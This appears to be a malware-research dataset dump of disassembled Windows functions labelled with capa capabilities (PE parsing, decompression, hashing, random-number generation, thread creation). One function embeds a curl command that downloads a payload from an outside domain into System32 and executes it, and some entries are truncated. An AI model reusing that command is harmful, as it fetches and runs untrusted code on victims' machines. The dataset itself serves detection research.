joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180001440
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x48
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x180001473
xor eax, eax
jmp 0x18000153c
mov rax, qword [rsp + 0x38]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x50]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x1800014a0
xor eax, eax
jmp 0x18000153c
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x28]
lea rax, [rcx + rax + 0x18]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x20], 0
jmp 0x1800014cc
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 6]
cmp dword [rsp + 0x20], eax
jge 0x18000153a
movsxd rax, dword [rsp + 0x20]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0x30]
add rcx, rax
mov rax, rcx
mov rdx, rax
mov rcx, qword [rsp + 0x60]
call fcn.18001c600
test eax, eax
jne 0x180001538
movsxd rax, dword [rsp + 0x20]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x30]
mov eax, dword [rdx + rax + 8]
mov dword [rcx], eax
movsxd rax, dword [rsp + 0x20]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0x30]
mov eax, dword [rcx + rax + 0xc]
mov rcx, qword [rsp + 0x50]
add rcx, rax
mov rax, rcx
jmp 0x18000153c
jmp 0x1800014c2
xor eax, eax
add rsp, 0x48
ret
Function at 0x18004ab94
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x18004abc4
xor eax, eax
jmp 0x18004ac87
mov rbp, rbx
cmp word [rax], si
je 0x18004abe9
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x18004abd0
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x18004abcc
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.18004aa44
movsxd r14, eax
test eax, eax
jne 0x18004ac27
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x18004abbd
mov rcx, r14
call fcn.180047074
mov rdi, rax
test rax, rax
jne 0x18004ac40
xor ecx, ecx
call fcn.1800470dc
jmp 0x18004ac1c
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.18004aa44
test eax, eax
jne 0x18004ac71
mov rcx, rdi
call fcn.1800470dc
jmp 0x18004ac7b
xor ecx, ecx
call fcn.1800470dc
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x140960058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1409601df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140960089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14096006f
add dl, dl
jne 0x140960096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1409600f6
xor eax, eax
add dl, dl
jne 0x1409600a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1409601ad
add dl, dl
jne 0x1409600b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1409600c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1409600d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1409600dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1409600ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14096007e
mov eax, 1
add dl, dl
jne 0x140960106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140960113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1409600fb
sub eax, ebx
mov ebx, 1
jne 0x14096014c
mov ecx, 1
add dl, dl
jne 0x14096012e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14096013b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140960123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14096007e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140960168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140960175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14096015d
cmp eax, 0x7d00
jae 0x14096019b
cmp eax, 0x500
jb 0x140960196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14096007e
cmp eax, 0x7f
ja 0x14096019e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14096007e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1409601d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14096007e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x1400016ec
Capabilities:
Get system information on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x150
xor ebx, ebx
lea r9, [rax + 0x10]
mov r14, rcx
mov dword [rax + 0x10], ebx
xor r8d, r8d
lea rdx, [rax + 0x10]
lea esi, [rbx + 0xb]
mov ecx, esi
call sub.ntoskrnl.exe_ZwQuerySystemInformation
cmp eax, 0xc0000004
jne 0x14000182a
mov edx, dword [rsp + 0x178]
xor ecx, ecx
mov r8d, 0x63617474
call qword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov rdi, rax
test rax, rax
je 0x14000182a
mov r8d, dword [rsp + 0x178]
xor r9d, r9d
mov rdx, rax
mov ecx, esi
call sub.ntoskrnl.exe_ZwQuerySystemInformation
test eax, eax
js 0x14000181a
mov esi, ebx
cmp qword [rdi], rbx
jbe 0x14000181a
lea rbp, [rdi + 8]
mov rax, rbp
lea rcx, [rsp + 0x20]
mov edx, 2
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx + 0x50], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x140001784
movups xmm0, xmmword [rax]
mov rdx, r14
movups xmm1, xmmword [rax + 0x10]
mov rax, qword [rax + 0x20]
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
mov qword [rcx + 0x20], rax
lea rcx, [rsp + 0x48]
call sub.ntoskrnl.exe_strstr
test rax, rax
jne 0x140001815
inc esi
add rbp, 0x128
movsxd rax, esi
cmp rax, qword [rdi]
jb 0x140001777
jmp 0x14000181a
mov rbx, qword [rsp + 0x30]
xor edx, edx
mov rcx, rdi
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov rax, rbx
jmp 0x14000182c
xor eax, eax
lea r11, [rsp + 0x150]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret

Function at 0x1400018e8
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x20
movsxd r9, dword [rcx + 0x3c]
lea rbx, [rcx + 0x18]
add rbx, r9
xor r10d, r10d
mov r14, r8
mov r15, rdx
mov rbp, rcx
movzx eax, word [r9 + rcx + 0x14]
movzx esi, word [r9 + rcx + 6]
add rbx, rax
test rsi, rsi
je 0x14000196b
xor edi, edi
cmp dword [rbx], 0x45474150
je 0x140001943
cmp dword [rbx], 0x7865742e
jne 0x14000195f
cmp byte [rbx + 4], 0x74
jne 0x14000195f
mov ecx, dword [rbx + 0xc]
mov r9, r14
mov edx, dword [rbx + 8]
add rcx, rbp
mov r8, r15
call fcn.140001870
mov r10, rax
test rax, rax
jne 0x14000196b
inc rdi
add rbx, 0x28
cmp rdi, rsi
jl 0x14000192d
mov rbx, qword [rsp + 0x40]
mov rax, r10
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret
Function at 0x1400139d7
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0xa0
mov eax, dword [0x1405372bc]
mov rdx, qword gs:[0x58]
mov rax, qword [rdx + rax*8]
mov r8, qword [rax + 8]
add r8, 0xfffffffffffffffe
cmp r8, 3
mov edx, 1
cmovb rdx, r8
test rdx, rdx
je 0x140013a22
cmp rdx, 1
je 0x140013b20
xor eax, eax
jmp 0x140013b27
test rcx, rcx
je 0x140013a37
mov rdi, qword [rcx]
mov qword [rcx], 2
cmp rdi, 2
jne 0x140013a8f
xor ecx, ecx
mov edx, 2
call qword [sym.imp.ole32.dll_CoInitializeEx]
lea rsi, [rsp + 0x40]
mov rcx, rsi
mov edx, eax
call fcn.140011c17
mov rdi, qword [rsi]
cmp rdi, 1
jne 0x140013a88
mov ebx, dword [rsp + 0x50]
mov rsi, qword [rsp + 0x48]
test rsi, rsi
je 0x140013a7c
mov rax, qword [rsi]
mov rcx, rsi
call qword [rax + 8]
mov rax, qword [rsi]
mov rcx, rsi
call qword [rax + 0x10]
cmp ebx, 0x80010106
jne 0x140013b32
movups xmm0, xmmword [rsp + 0x48]
jmp 0x140013a93
movups xmm0, xmmword [rcx + 8]
movaps xmmword [rsp + 0x60], xmm0
mov eax, dword [0x1405372bc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm0, xmmword [rax + 8]
movaps xmmword [rsp + 0x20], xmm0
mov rcx, qword [rax + 0x18]
mov qword [rsp + 0x30], rcx
mov qword [rax + 8], rdi
movaps xmm0, xmmword [rsp + 0x60]
movups xmmword [rax + 0x10], xmm0
cmp dword [rsp + 0x20], 2
jne 0x140013b03
mov eax, dword [0x1405372bc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
lea rcx, [rax + 8]
lea rdx, [0x140011ca1]
call case.0x1400410b4.302
lea rcx, [rsp + 0x20]
call fcn.140011c53
mov eax, dword [0x1405372bc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
lea rax, [rax + 8]
add rsp, 0xa0
pop rbx
pop rdi
pop rsi
ret
movsxd rax, ebx
shl rax, 0x20
or rax, 2
lea rcx, [rsp + 0x58]
mov qword [rcx], rax
lea rax, [rsp + 0x90]
mov qword [rax], rcx
lea rdx, [0x140484cf0]
lea rcx, [rsp + 0x60]
mov qword [rcx], rdx
mov edx, 1
mov qword [rcx + 8], rdx
and qword [rcx + 0x20], 0
lea r8, [0x14003d600]
mov qword [rax + 8], r8
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], rdx
lea rdx, str.C:UsersSKA_24.cargo_registry_srcindex.crates.io_6f17d22bba15001fcpal_0.15.2_srchostwasapicom.rs
call fcn.14006ac50
int3
Function at 0x140030a40
Capabilities:
Encode data using xor

Disassembly:
push rbp
mov rbp, rsp
mov rax, rdx
sub rdx, rcx
cmp rdx, 0x20
jae 0x140030a65
cmp rax, rcx
je 0x140030a6b
cmp rdx, 4
jae 0x140030a72
xor eax, eax
xor r8d, r8d
jmp 0x140030b10
pop rbp
jmp fcn.1400087b0
xor eax, eax
jmp 0x140030b27
mov r8d, edx
and r8d, 0x1c
pxor xmm0, xmm0
xor eax, eax
movdqa xmm2, xmmword [0x14006e530]
movdqa xmm3, xmmword [0x14006e540]
pxor xmm1, xmm1
nop word cs:[rax + rax]
movzx r9d, word [rcx + rax]
movd xmm4, r9d
movzx r9d, word [rcx + rax + 2]
movd xmm5, r9d
pcmpgtb xmm4, xmm2
punpcklbw xmm4, xmm4
pshuflw xmm4, xmm4, 0xd4
pshufd xmm4, xmm4, 0xd4
pand xmm4, xmm3
paddq xmm0, xmm4
pcmpgtb xmm5, xmm2
punpcklbw xmm5, xmm5
pshuflw xmm4, xmm5, 0xd4
pshufd xmm4, xmm4, 0xd4
pand xmm4, xmm3
paddq xmm1, xmm4
add rax, 4
cmp r8, rax
jne 0x140030aa0
paddq xmm1, xmm0
pshufd xmm0, xmm1, 0xee
paddq xmm0, xmm1
movq rax, xmm0
cmp r8, rdx
je 0x140030b27
nop dword [rax]
xor r9d, r9d
cmp byte [rcx + r8], 0xc0
setge r9b
add rax, r9
inc r8
cmp rdx, r8
jne 0x140030b10
pop rbp
ret
Function at 0x14003c000
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rsp + 0x20]
movzx r9d, byte [rdx + 0x38]
cmp byte [rcx - 0x80], al
stc
add dword [rsi + 7], esi
movzx r8d, byte [rdx + 0x3a]
test r8b, 1
jne 0x14003c06e
movzx eax, byte [rdx + 0x10]
lea r10d, [rax - 5]
Function at 0x14003ec60
Capabilities:
Create thread

Disassembly:
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x50
lea rbp, [rsp + 0x50]
mov qword [rbp - 8], 0xfffffffffffffffe
mov rdi, r8
mov r14, rdx
mov rsi, rcx
movzx eax, byte [0x1405372b8]
mov edx, 0x10
xor ecx, ecx
call fcn.14003f090
test rax, rax
je 0x14003ed40
mov rbx, rax
mov qword [rax], r14
mov qword [rax + 8], rdi
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x10000
lea r8, [0x14003ede0]
xor edi, edi
xor ecx, ecx
mov rdx, rsi
mov r9, rax
call qword [sym.imp.kernel32.dll_CreateThread]
mov rdx, rax
test rax, rax
jne 0x14003ed32
mov rax, qword [rbx]
mov qword [rbp - 0x18], rax
mov qword [rbp - 0x20], rbx
mov rax, qword [rbx + 8]
mov qword [rbp - 0x10], rax
mov rax, qword [rax]
test rax, rax
je 0x14003ecf7
mov rcx, qword [rbp - 0x18]
call rax
mov rcx, qword [rbp - 0x18]
mov rax, qword [rbp - 0x10]
cmp qword [rax + 8], 0
je 0x14003ed0f
mov rdx, qword [rax + 0x10]
call fcn.1400077e0
mov edx, 8
mov rcx, qword [rbp - 0x20]
call fcn.1400077e0
call qword [sym.imp.kernel32.dll_GetLastError]
mov edx, eax
shl rdx, 0x20
or rdx, 2
mov edi, 1
mov rax, rdi
add rsp, 0x50
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
mov qword [rbp - 0x10], r14
mov qword [rbp - 0x18], rdi
mov ecx, 8
mov edx, 0x10
call fcn.14006aa0a
ud2
Function at 0x140056621
Capabilities:
Hash data using fnv

Disassembly:
mov eax, 0x811c9dc5
xor edx, edx
cmp rdx, 2
je 0x140056641
movzx r8d, byte [rcx + rdx]
inc rdx
xor eax, r8d
imul eax, eax, 0x1000193
jmp 0x140056628
ret
Function at 0x14006a474
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.kernel32.dll_GetModuleHandleW]
test rax, rax
je 0x14006a4be
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14006a4be
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14006a4be
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14006a4be
cmp dword [rcx + 0x84], 0xe
jbe 0x14006a4be
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14006a4c0
xor al, al
add rsp, 0x28
ret
Function at 0x14001d2c0
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x20
mov r9d, 0x6c078965
mov r8d, 0xffffffff
mov edx, dword [rsp + 0x38]
mov rcx, qword [rsp + 0x30]
call fcn.14001d270
nop
mov rax, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x140022b50
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x30
mov rax, qword [rsp + 0x40]
cmp dword [rax], 0x270
jne 0x140022b74
mov rcx, qword [rsp + 0x40]
call fcn.140028ea0
nop
jmp 0x140022b8c
mov rax, qword [rsp + 0x40]
cmp dword [rax], 0x4e0
jb 0x140022b8c
mov rcx, qword [rsp + 0x40]
call fcn.140028ca0
nop
mov rax, qword [rsp + 0x40]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x40]
mov eax, dword [rcx + rax*4 + 4]
mov dword [rsp + 0x24], eax
mov rax, qword [rsp + 0x40]
mov eax, dword [rax]
inc eax
mov rcx, qword [rsp + 0x40]
mov dword [rcx], eax
mov eax, dword [rsp + 0x24]
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
shr eax, 0xb
mov rcx, qword [rsp + 0x40]
and eax, dword [rcx + 0x1384]
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
shl eax, 7
and eax, 0x9d2c5680
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
shl eax, 0xf
and eax, 0xefc60000
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
shr eax, 0x12
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
add rsp, 0x30
pop rdi
ret
Function at 0x140028ca0
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x50
mov qword [rsp], 0x26f
mov qword [rsp + 8], 0xe3
mov qword [rsp + 0x10], 0
jmp 0x140028cd3
mov rax, qword [rsp + 0x10]
inc rax
mov qword [rsp + 0x10], rax
cmp qword [rsp + 0x10], 0xe3
jae 0x140028d5a
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x10]
mov eax, dword [rax + rcx*4 + 0x9c4]
and eax, 0x80000000
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x10]
mov ecx, dword [rcx + rdx*4 + 0x9c8]
btr ecx, 0x1f
or eax, ecx
mov dword [rsp + 0x18], eax
mov eax, dword [rsp + 0x18]
and eax, 1
test eax, eax
je 0x140028d24
mov dword [rsp + 0x3c], 0x9908b0df
jmp 0x140028d2c
mov dword [rsp + 0x3c], 0
mov eax, dword [rsp + 0x18]
shr eax, 1
xor eax, dword [rsp + 0x3c]
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x10]
xor eax, dword [rcx + rdx*4 + 0xff8]
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x10]
mov dword [rcx + rdx*4 + 4], eax
jmp 0x140028cc6
mov qword [rsp + 0x20], 0xe3
jmp 0x140028d72
mov rax, qword [rsp + 0x20]
inc rax
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0x26f
jae 0x140028df9
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x20]
mov eax, dword [rax + rcx*4 + 0x9c4]
and eax, 0x80000000
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x20]
mov ecx, dword [rcx + rdx*4 + 0x9c8]
btr ecx, 0x1f
or eax, ecx
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0x28]
and eax, 1
test eax, eax
je 0x140028dc3
mov dword [rsp + 0x40], 0x9908b0df
jmp 0x140028dcb
mov dword [rsp + 0x40], 0
mov eax, dword [rsp + 0x28]
shr eax, 1
xor eax, dword [rsp + 0x40]
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x20]
xor eax, dword [rcx + rdx*4 - 0x388]
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x20]
mov dword [rcx + rdx*4 + 4], eax
jmp 0x140028d65
mov qword [rsp + 0x30], 0x26f
mov eax, 4
imul rax, rax, 0x4df
mov rcx, qword [rsp + 0x60]
mov eax, dword [rcx + rax + 4]
and eax, 0x80000000
mov ecx, 4
imul rcx, rcx, 0
mov rdx, qword [rsp + 0x60]
mov ecx, dword [rdx + rcx + 4]
btr ecx, 0x1f
or eax, ecx
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x38]
and eax, 1
test eax, eax
je 0x140028e4d
mov dword [rsp + 0x44], 0x9908b0df
jmp 0x140028e55
mov dword [rsp + 0x44], 0
mov eax, dword [rsp + 0x38]
shr eax, 1
xor eax, dword [rsp + 0x44]
mov ecx, 4
imul rcx, rcx, 0x18c
mov rdx, qword [rsp + 0x60]
xor eax, dword [rdx + rcx + 4]
mov ecx, 4
imul rcx, rcx, 0x26f
mov rdx, qword [rsp + 0x60]
mov dword [rdx + rcx + 4], eax
mov rax, qword [rsp + 0x60]
mov dword [rax], 0
add rsp, 0x50
pop rdi
ret
Function at 0x140028ea0
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x10
mov qword [rsp], 0x270
jmp 0x140028ebf
mov rax, qword [rsp]
inc rax
mov qword [rsp], rax
cmp qword [rsp], 0x4e0
jae 0x140028f41
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp]
mov eax, dword [rax + rcx*4 - 0x9bc]
and eax, 0x80000000
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp]
mov ecx, dword [rcx + rdx*4 - 0x9b8]
btr ecx, 0x1f
or eax, ecx
mov dword [rsp + 8], eax
mov eax, dword [rsp + 8]
and eax, 1
test eax, eax
je 0x140028f0d
mov dword [rsp + 0xc], 0x9908b0df
jmp 0x140028f15
mov dword [rsp + 0xc], 0
mov eax, dword [rsp + 8]
shr eax, 1
xor eax, dword [rsp + 0xc]
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp]
xor eax, dword [rcx + rdx*4 - 0x388]
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp]
mov dword [rcx + rdx*4 + 4], eax
jmp 0x140028eb4
add rsp, 0x10
pop rdi
ret
Function at 0x14003e170
Capabilities:
Execute command

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x60
call fcn.140042f70
mov qword [rsp + 0x20], rax
lea rcx, str.curl__s_https:__textpubshiers.top_Stb_PokerFace_BritneySpears005_Special_Sprdr44_theone.txt__o_C:WindowsSystem32Mac.exe__C:WindowsSystem32Mac.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
mov ecx, 0x5e18
call fcn.140049390
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
mov r8, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
movzx edx, byte [rax]
mov ecx, 0x5e18
call fcn.140035620
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
je 0x14003e1e5
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x38]
call fcn.140031f30
mov qword [rsp + 0x58], rax
jmp 0x14003e1ee
mov qword [rsp + 0x58], 0
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x28], rax
mov rcx, qword [rsp + 0x28]
call fcn.1400559e0
call fcn.1400462c0
nop
cmp qword [rsp + 0x20], 0
je 0x14003e225
mov rcx, qword [rsp + 0x20]
call fcn.1400559e0
nop
mov rax, qword [rsp + 0x28]
add rsp, 0x60
pop rdi
ret

Function at 0x1400450e0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x20
mov r9, qword [rsp + 0x48]
mov r8, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add rsp, 0x20
pop rdi
ret

Function at 0x140045120
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x20
mov r9, qword [rsp + 0x48]
mov r8, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add rsp, 0x20
pop rdi
ret

Function at 0x1400455e0
Capabilities:
Hash data with crc32

Disassembly:
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x30
mov eax, dword [rsp + 0x50]
not eax
mov dword [rsp], eax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 8], rax
lea rax, [0x140138100]
mov qword [rsp + 0x10], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x18], rax
mov rax, qword [rsp + 0x48]
dec rax
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x18], 0
je 0x14004563c
mov dword [rsp + 0x20], 1
jmp 0x140045644
mov dword [rsp + 0x20], 0
cmp dword [rsp + 0x20], 0
je 0x140045688
mov eax, dword [rsp]
shr eax, 8
mov ecx, dword [rsp]
and ecx, 0xff
mov rdx, qword [rsp + 8]
movzx edx, byte [rdx]
xor ecx, edx
mov ecx, ecx
mov rdx, qword [rsp + 0x10]
xor eax, dword [rdx + rcx*4]
mov dword [rsp + 0x24], eax
mov rax, qword [rsp + 8]
inc rax
mov qword [rsp + 8], rax
mov eax, dword [rsp + 0x24]
mov dword [rsp], eax
jmp 0x140045613
mov eax, dword [rsp]
not eax
add rsp, 0x30
pop rdi
ret
Function at 0x1400456a0
Capabilities:
Hash data with crc32

Disassembly:
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x30
mov eax, dword [rsp + 0x50]
not eax
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x50]
mov dword [rsp], eax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 8], rax
lea rax, [0x140138100]
mov qword [rsp + 0x10], rax
cmp qword [rsp + 0x48], 0
je 0x1400457b9
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x48]
dec rax
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x20], 0
je 0x140045710
mov dword [rsp + 0x28], 1
jmp 0x140045718
mov dword [rsp + 0x28], 0
cmp dword [rsp + 0x28], 0
je 0x1400457b4
mov rax, qword [rsp + 8]
movzx eax, byte [rax]
mov byte [rsp + 0x2c], al
mov rax, qword [rsp + 8]
inc rax
mov qword [rsp + 8], rax
movzx eax, byte [rsp + 0x2c]
mov byte [rsp + 0x18], al
movzx eax, byte [rsp + 0x18]
cmp eax, 0x23
jne 0x14004578c
cmp qword [rsp + 0x48], 2
jb 0x14004578c
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rsp + 8]
movzx eax, byte [rcx + rax]
cmp eax, 0x23
jne 0x14004578c
mov eax, 1
imul rax, rax, 1
mov rcx, qword [rsp + 8]
movzx eax, byte [rcx + rax]
cmp eax, 0x23
jne 0x14004578c
